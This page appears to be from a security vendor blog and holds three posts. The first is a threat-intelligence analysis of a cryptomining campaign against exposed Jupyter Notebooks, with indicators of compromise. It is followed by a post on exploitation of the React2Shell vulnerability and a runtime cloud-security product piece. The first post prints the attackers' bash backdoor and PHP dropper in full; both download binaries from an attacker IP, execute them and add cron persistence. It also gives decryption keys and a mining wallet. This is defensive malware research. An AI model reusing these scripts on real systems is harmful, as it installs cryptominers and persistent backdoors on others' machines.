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March 13, 2025

Exposed Jupyter Notebooks Targeted to Deliver Cryptominer

Cado Security Labs discovered a new cryptomining campaign exploiting exposed Jupyter Notebooks on Windows and Linux. The attack deploys UPX-packed binaries that decrypt and execute a cryptominer, targeting various cryptocurrencies.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead
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13
Mar 2025

Introduction

Researchers from Cado Security Labs (now part of Darktrace) have identified a novel cryptoming campaign exploiting Jupyter Notebooks, through Cado Labs honeypots. Jupyter Notebook [1] is an interactive notebook that contains a Python IDE and is typically used by data scientists. The campaign identified spreads through misconfigured Jupyter notebooks, targeting both Windows and Linux systems to deliver a cryptominer. 

Technical analysis

bash script
Figure 1: bash script

During a routine triage of the Jupyter honeypot, Cado Security Labs have identified an evasive cryptomining campaign attempting to exploit Jupyter notebooks. The attack began with attempting to retrieve a bash script and Microsoft Installer (MSI) file. After extracting the MSI file, the CustomAction points to an executable named “Binary.freedllBinary”. Custom Actions in MSI files are user defined actions and can be scripts or binaries. 

freedllbinary
Figure 2: "Binary.freedllBinary"
Binary File
Figure 3: File

Binary.freedllbinary

The binary that is executed from the installer file is a 64-bit Windows executable named Binary.freedllbinary. The main purpose of the binary is to load a secondary payload, “java.exe” by a CoCreateInstance Component Object Model (COM object) that is stored in c:\Programdata. Using the command /c start /min cmd /c "C:\ProgramData\java.exe || msiexec /q /i https://github[.]com/freewindsand/test/raw/refs/heads/main/a.msi, java.exe is executed, and if that fails “a.msi” is retrieved from Github; “a.msi” is the same as the originating MSI “0217.msi”. Finally, the binary deletes itself with /c ping 127.0.0.1 && del %s. “Java.exe” is a 64-bit binary pretending to be Java Platform SE 8. The binary is packed with UPX. Using ws2_32, “java.exe” retrieves “x2.dat” from either Github, launchpad, or Gitee and stores it in c:\Programdata. Gitee is the Chinese version of GitHub. “X.dat” is an encrypted blob of data, however after analyzing the binary, it can be seen that it is encrypted with ChaCha20, with the nonce aQFabieiNxCjk6ygb1X61HpjGfSKq4zH and the key AZIzJi2WxU0G. The data is then compressed with zlib. 

from Crypto.Cipher import ChaCha20 

import zlib 

key = b' ' 

nonce = b' ' 

with open(<encrytpedblob>', 'rb') as f: 

 ciphertext = f.read() 
 
cipher = ChaCha20.new(key=key, nonce=nonce) 

plaintext = cipher.decrypt(ciphertext) 

with open('decrypted_output.bin', 'wb') as f:  

 f.write(plaintext) 
 
with open('decrypted_output.bin', 'rb') as f_in: 

 compressed_data = f_in.read() 
 
decompressed_data = zlib.decompress(compressed_data) 

with open('decompressed_output', 'wb') as f_out: 

 f_out.write(decompressed_data)

After decrypting the blob with the above script there is another binary. The final binary is a cryptominer that targets:

  • Monero
  • Sumokoin
  • ArQma
  • Graft
  • Ravencoin
  • Wownero
  • Zephyr
  • Townforge
  • YadaCoin

ELF version

In the original Jupyter commands, if the attempt to retrieve and run the MSI file fails, then it attempts to retrieve “0217.js” and execute it. “0217.js” is a bash backdoor that retrieves two ELF binaries “0218.elf”, and “0218.full” from 45[.]130[.]22[.]219. The script first retrieves “0218.elf” either by curl or wget, renames it to the current time, stores it in /etc/, makes it executable via chmod and sets a cronjob to run every ten minutes.

#!/bin/bash 
u1='http://45[.]130.22.219/0218.elf'; 
name1=`date +%s%N` 
wget ${u1}?wget -O /etc/$name1 
chmod +x /etc/$name1 
echo "10 * * * * root /etc/$name1" >> /etc/cron.d/$name1 
/etc/$name1 
 
name2=`date +%s%N` 
curl ${u1}?curl -o /etc/$name2 
chmod +x /etc/$name2 
echo "20 * * * * root /etc/$name2" >> /etc/cron.d/$name2 
/etc/$name2 
 
u2='http://45[.]130.22.219/0218.full'; 
name3=`date +%s%N` 
wget ${u2}?wget -O /tmp/$name3 
chmod +x /tmp/$name3 
(crontab -l ; echo "30 * * * * /tmp/$name3") | crontab - 
/tmp/$name3 
 
name4=`date +%s%N` 
curl ${u2}?curl -o /var/tmp/$name4 
chmod +x /var/tmp/$name4 
(crontab -l ; echo "40 * * * * /var/tmp/$name4") | crontab - 
/var/tmp/$name4 
 
while true 
do 
        chmod +x /etc/$name1 
        /etc/$name1 
        sleep 60 
        chmod +x /etc/$name2 
        /etc/$name2 
        sleep 60 
        chmod +x /tmp/$name3 
        /tmp/$name3 
        sleep 60 
        chmod +x /var/tmp/$name4 
        /var/tmp/$name4 
        sleep 60 
done 

0217.js

Similarly, “0218.full” is retrieved by curl or wget, renamed to the current time, stored in /tmp/ or /var/tmp/, made executable and a cronjob is set to every 30 or 40 minutes. 

0218.elf

“0218.elf” is a 64-bit UPX packed ELF binary. The functionality of the binary is similar to “java.exe”, the Windows version. The binary retrieves encrypted data “lx.dat” from either 172[.]245[.]126[.]209, launchpad, Github, or Gitee. The lock file “cpudcmcb.lock” is searched for in various paths including /dev/, /tmp/ and /var/, presumably looking for a concurrent process. As with the Windows version, the data is encrypted with ChaCha20 (nonce: 1afXqzGbLE326CPT0EAwYFvgaTHvlhn4 and key: ZTEGIDQGJl4f) and compressed with zlib. The decrypted data is stored as “./lx.dat”. 

ChaCha routine
Figure 4: ChaCha routine
lx.dat file
Figure 5: Reading the written lx.dat file

The decrypted data from “lx.dat” is another ELF binary, and is the Linux variant of the Windows cryptominer. The cryptominer is mining for the same cryptocurrency as the Windows with the wallet ID: 44Q4cH4jHoAZgyHiYBTU9D7rLsUXvM4v6HCCH37jjTrydV82y4EvPRkjgdMQThPLJVB3ZbD9Sc1i84 Q9eHYgb9Ze7A3syWV, and pools:

  • C3.wptask.cyou
  • Sky.wptask.cyou
  • auto.skypool.xyz

The binary “0218.full” is the same as the dropped cryptominer, skipping the loader and retrieval of encrypted data. It is unknown why the threat actor would deploy two versions of the same cryptominer. 

Other campaigns

While analyzing this campaign, a parallel campaign targeting servers running PHP was found. Hosted on the 45[.]130[.]22[.]219 address is a PHP script “1.php”:

<?php 
$win=0; 
$file=""; 
$url=""; 
strtoupper(substr(PHP_OS,0,3))==='WIN'?$win=1:$win=0; 
if($win==1){ 
    $file = "C://ProgramData/php.exe"; 
    $url  = "http://45[.]130.22.219/php0218.exe"; 
}else{ 
    $file = "/tmp/php"; 
    $url  = "http://45[.]130.22.219/php0218.elf"; 
} 
    ob_start(); 
    readfile($url); 
    $content = ob_get_contents(); 
    ob_end_clean(); 
    $size = strlen($content); 
    $fp2 = @fopen($file, 'w'); 
    fwrite($fp2, $content); 
    fclose($fp2); 
    unset($content, $url); 
    if($win!=1){ 
        passthru("chmod +x ".$file); 
    } 
    passthru($file); 
?> 
Hello PHP

“1.php” is essentially a PHP version of the Bash script “0218.js”, a binary is retrieved based on whether the server is running on Windows or Linux. After analyzing the binaries, “php0218.exe” is the same as Binary.freedllbinary, and “php0218.elf” is the same as “0218.elf”. 

The exploitation of Jupyter to deploy this cryptominer hasn’t been reported before, however there have been previous campaigns with similar TTPs. In January 2024, Greynoise [2] reported on Ivanti Connect Secure being exploited to deliver a cryptominer. As with this campaign, the Ivanti campaign featured the same backdoor, with payloads hosted on Github. Additionally, AnhLabs [3] reported in June 2024 of a similar campaign targeting unpatched Korean web servers.

Figure 6: Mining pool 45[.]147[.]51[.]78

Conclusion

Exposed cloud services remain a prime target for cryptominers and other malicious actors. Attackers actively scan for misconfigured or publicly accessible instances, exploiting them to run unauthorized cryptocurrency mining operations. This can lead to degraded system performance, increased cloud costs, and potential data breaches.

To mitigate these risks, organizations should enforce strong authentication, disable public access, and regularly monitor their cloud environments for unusual activity. Implementing network restrictions, auto-shutdown policies for idle instances, and cloud provider security tools can also help reduce exposure.

Continuous vigilance, proactive security measures, and user education are crucial to staying ahead of emerging threats in the ever-changing cloud landscape.  

IOCs

hxxps://github[.]com/freewindsand

hxxps://github[.]com/freewindsand/pet/raw/refs/heads/main/lx.dat

hxxps://git[.]launchpad.net/freewindpet/plain/lx.dat

hxxps://gitee[.]com/freewindsand/pet/raw/main/lx.dat

hxxps://172[.]245[.]126.209/lx.dat

090a2f79d1153137f2716e6d9857d108 - Windows cryptominer

51a7a8fbe243114b27984319badc0dac - 0218.elf

227e2f4c3fd54abdb8f585c9cec0dcfc - ELF cryptominer

C1bb30fed4f0fb78bb3a5f240e0058df - Binary.freedllBinary

6323313fb0d6e9ed47e1504b2cb16453 - py0217.msi

3750f6317cf58bb61d4734fcaa254147 - 0218.full

1cdf044fe9e320998cf8514e7bd33044 - java.exe

141[.]11[.]89[.]42

172[.]245[.]126[.]209

45[.]130[.]22[.]219

45[.]147[.]51[.]78

Pools:

c3.wptask.cyou

sky.wptask.cyou

auto.c3pool.org

auto.skypool.xyz

MITRE ATT&CK

T1059.004  Command and Scripting Interpreter: Bash  

T1218.007  System Binary Proxy Execution: MSIExec  

T1053.003  Scheduled Task/Job: Cron  

T1190  Exploit Public-Facing Application  

T1027.002  Obfuscated Files or Information: Software Packing  

T1105  Ingress Tool Transfer  

T1496  Resource Hijacking  

T1105  Ingress Tool Transfer  

T1070.004  Indicator Removal on Host: File Deletion  

T1027  Obfuscated Files or Information  

T1559.001  Inter-Process Communication: Component Object Model  

T1027  Obfuscated Files or Information

References:

[1] https://www.cadosecurity.com/blog/qubitstrike-an-emerging-malware-campaign-targeting-jupyter-notebooks  

[2] https://www.greynoise.io/blog/ivanti-connect-secure-exploited-to-install-cryptominers  

[3] https://asec.ahnlab.com/en/74096/  

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead

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January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

React2Shell Default blog imageDefault blog image

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 19, 2026

Runtime Is Where Cloud Security Really Counts: The Importance of Detection, Forensics and Real-Time Architecture Awareness

runtime, cloud security, cnaapDefault blog imageDefault blog image

Introduction: Shifting focus from prevention to runtime

Cloud security has spent the last decade focused on prevention; tightening configurations, scanning for vulnerabilities, and enforcing best practices through Cloud Native Application Protection Platforms (CNAPP). These capabilities remain essential, but they are not where cloud attacks happen.

Attacks happen at runtime: the dynamic, ephemeral, constantly changing execution layer where applications run, permissions are granted, identities act, and workloads communicate. This is also the layer where defenders traditionally have the least visibility and the least time to respond.

Today’s threat landscape demands a fundamental shift. Reducing cloud risk now requires moving beyond static posture and CNAPP only approaches and embracing realtime behavioral detection across workloads and identities, paired with the ability to automatically preserve forensic evidence. Defenders need a continuous, real-time understanding of what “normal” looks like in their cloud environments, and AI capable of processing massive data streams to surface deviations that signal emerging attacker behavior.

Runtime: The layer where attacks happen

Runtime is the cloud in motion — containers starting and stopping, serverless functions being called, IAM roles being assumed, workloads auto scaling, and data flowing across hundreds of services. It’s also where attackers:

  • Weaponize stolen credentials
  • Escalate privileges
  • Pivot programmatically
  • Deploy malicious compute
  • Manipulate or exfiltrate data

The challenge is complex: runtime evidence is ephemeral. Containers vanish; critical process data disappears in seconds. By the time a human analyst begins investigating, the detail required to understand and respond to the alert, often is already gone. This volatility makes runtime the hardest layer to monitor, and the most important one to secure.

What Darktrace / CLOUD Brings to Runtime Defence

Darktrace / CLOUD is purpose-built for the cloud execution layer. It unifies the capabilities required to detect, contain, and understand attacks as they unfold, not hours or days later. Four elements define its value:

1. Behavioral, real-time detection

The platform learns normal activity across cloud services, identities, workloads, and data flows, then surfaces anomalies that signify real attacker behavior, even when no signature exists.

2. Automated forensic level artifact collection

The moment Darktrace detects a threat, it can automatically capture volatile forensic evidence; disk state, memory, logs, and process context, including from ephemeral resources. This preserves the truth of what happened before workloads terminate and evidence disappears.

3. AI-led investigation

Cyber AI Analyst assembles cloud behaviors into a coherent incident story, correlating identity activity, network flows, and Cloud workload behavior. Analysts no longer need to pivot across dashboards or reconstruct timelines manually.

4. Live architectural awareness

Darktrace continuously maps your cloud environment as it operates; including services, identities, connectivity, and data pathways. This real-time visibility makes anomalies clearer and investigations dramatically faster.

Together, these capabilities form a runtime-first security model.

Why CNAPP alone isn’t enough

CNAPP platforms excel at pre deployment checks all the way down to developer workstations, identifying misconfigurations, concerning permission combinations, vulnerable images, and risky infrastructure choices. But CNAPP’s breadth is also its limitation. CNAPP is about posture. Runtime defense is about behavior.

CNAPP tells you what could go wrong; runtime detection highlights what is going wrong right now.

It cannot preserve ephemeral evidence, correlate active behaviors across domains, or contain unfolding attacks with the precision and speed required during a real incident. Prevention remains essential, but prevention alone cannot stop an attacker who is already operating inside your cloud environment.

Real-world AWS Scenario: Why Runtime Monitoring Wins

A recent incident detected by Darktrace / CLOUD highlights how cloud compromises unfold, and why runtime visibility is non-negotiable. Each step below reflects detections that occur only when monitoring behavior in real time.

1. External Credential Use

Detection: Unusual external source for credential use: An attacker logs into a cloud account from a never-before-seen location, the earliest sign of account takeover.

2. AWS CLI Pivot

Detection: Unusual CLI activity: The attacker switches to programmatic access, issuing commands from a suspicious host to gain automation and stealth.

3. Credential Manipulation

Detection: Rare password reset: They reset or assign new passwords to establish persistence and bypass existing security controls.

4. Cloud Reconnaissance

Detection: Burst of resource discovery: The attacker enumerates buckets, roles, and services to map high value assets and plan next steps.

5. Privilege Escalation

Detection: Anomalous IAM update: Unauthorized policy updates or role changes grant the attacker elevated access or a backdoor.

6. Malicious Compute Deployment

Detection: Unusual EC2/Lambda/ECS creation: The attacker deploys compute resources for mining, lateral movement, or staging further tools.

7. Data Access or Tampering

Detection: Unusual S3 modifications: They alter S3 permissions or objects, often a prelude to data exfiltration or corruption.

Only some of these actions would appear in a posture scan, crucially after the fact.
Every one of these runtime detections is visible only through real-time behavioral monitoring while the attack is in progress.

The future of cloud security Is runtime-first

Cloud defense can no longer revolve solely around prevention. Modern attacks unfold in runtime, across a fast-changing mesh of workloads, services, and — critically — identities. To reduce risk, organizations must be able to detect, understand, and contain malicious activity as it happens, before ephemeral evidence disappears and before attacker's pivot across identity layers.

Darktrace / CLOUD delivers this shift by turning runtime, the most volatile and consequential layer in the cloud, into a fully defensible control point through unified visibility across behavior, workloads, and identities. It does this by providing:

  • Real-time behavior detection across workloads and identity activity
  • Autonomous response actions for rapid containment
  • Automated forensic level artifact preservation the moment events occur
  • AI-driven investigation that separates weak signals from true attacker patterns
  • Live cloud environment insight to understand context and impact instantly

Cloud security must evolve from securing what might go wrong to continuously understanding what is happening; in runtime, across identities, and at the speed attackers operate. Unifying runtime and identity visibility is how defenders regain the advantage.

[related-resource]

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About the author
Adam Stevens
Senior Director of Product, Cloud | Darktrace
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